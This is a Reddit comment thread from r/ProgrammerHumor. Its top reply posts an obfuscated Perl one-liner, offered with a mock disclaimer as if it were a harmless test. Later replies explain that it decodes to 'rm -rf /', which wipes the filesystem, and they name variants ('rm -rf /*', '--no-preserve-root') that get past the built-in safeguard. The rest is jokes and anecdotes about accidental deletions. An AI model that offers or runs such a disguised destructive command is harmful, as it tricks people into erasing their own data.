r/ProgrammerHumor • • Aug 01 '22

>>>print(“Hello, World!”)

Post image
60.8k Upvotes

5.7k comments sorted by

View all comments

555

u/[deleted] Aug 01 '22 edited Aug 01 '22

DISCLAIMER: backup all your data before running it

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=\]=>%-{<-|}<&|\\{;;y; -/:-@\[-\\{-};\\-{/" -;;s;;$_;see'

683

u/a-slice-of-toast Aug 01 '22

implodes the universe

187

u/[deleted] Aug 01 '22

no, your computer is not the whole universe

568

u/a-slice-of-toast Aug 01 '22

not with that attitude

86

u/[deleted] Aug 01 '22

I respect ambitions, one day your computer will replace the whole universe for you.

16

u/[deleted] Aug 01 '22

[removed] — view removed comment

17

u/[deleted] Aug 01 '22

It is actually sad. I read a book of a Polish dude Stanislaw Lemm "Summa technoligae"/"Sum of technologies".

One of the predicated path of our development was to focus on a virtual World.

It was proposed as one of the reasons why we can't see advances civilizations in the sky - they just don't give a fuck about the real world.

→ More replies (8)

4

u/Dog_Engineer Aug 01 '22

It will if the universe is a simulation

5

u/Graffers Aug 01 '22

That runs on OP's computer.

→ More replies (2)

0

u/[deleted] Aug 01 '22

[deleted]

200

u/[deleted] Aug 01 '22

A fancy way to encode rm -rf / command that removes everything from your machine if you have sufficient access rights.

On modern machines, it probably won't work, there is an explicit check for this situation, so you need to use rm -rf /* or rm -rf / --no-preserve-root to be screwed.

98

u/amulchinock Aug 01 '22

You’d think that modern machines are smart enough not to make things explode from doing silly things like this - but I very nearly bricked my work Macbook by running:

rm -rf / accidental/space/in/absolute/path

😅

15

u/B4-711 Aug 01 '22

with great power comes great responsibility

6

u/amulchinock Aug 01 '22

Absolutely.

Thankfully I realised what I had done relatively quickly - as the command was taking longer than I expected.

The annoying thing was that for the next few months I would find annoying errors, and have to remind myself that I probably had to reinstall whatever thing I was trying to run.

Example: git commit -m “thing” worked fine git push “I don’t know what that is”

Fine. I guess I’ll reinstall git then. It could do with an update anyway 😅

5

u/Spork_the_dork Aug 01 '22

Yeah. Each added layer of protection to keep the user from doing stupid shit is an added layer that restricts what the user can do.

→ More replies (2)

12

u/ExcdnglyGayQuilava Aug 01 '22

Not as catastrophic, but in programming class I once wrote a makefile cleanup that removed all the source files instead of the build.

I wasn't aware of source control back then. Entire assignment rm'd.

5

u/amulchinock Aug 01 '22

Ooooof. Mate that must have sucked. I’ve learned over the years to git commit like I’m ‘CTRL + S`ing. I can always rebase later to clean up - and it’s less of a pain than permanently losing work.

→ More replies (2)
→ More replies (9)
→ More replies (4)

4

u/dahliasinfelle Aug 01 '22

Hello fellow non programmer also browsing this sub!

3

u/Benjanio88 Aug 01 '22

It’ll print test test test then execute rm - rf. try it if you want but you’ll have a squeeky clean hard drive at then end of it

→ More replies (3)
→ More replies (1)

8

u/[deleted] Aug 01 '22

What does it actually do lmao

9

u/[deleted] Aug 01 '22

rm -rf /

→ More replies (1)

3

u/shredbmc Aug 01 '22

It moves your data forward very quickly and without brakes. If you didn't back it up you might hurt one of the lights on your tower

→ More replies (25)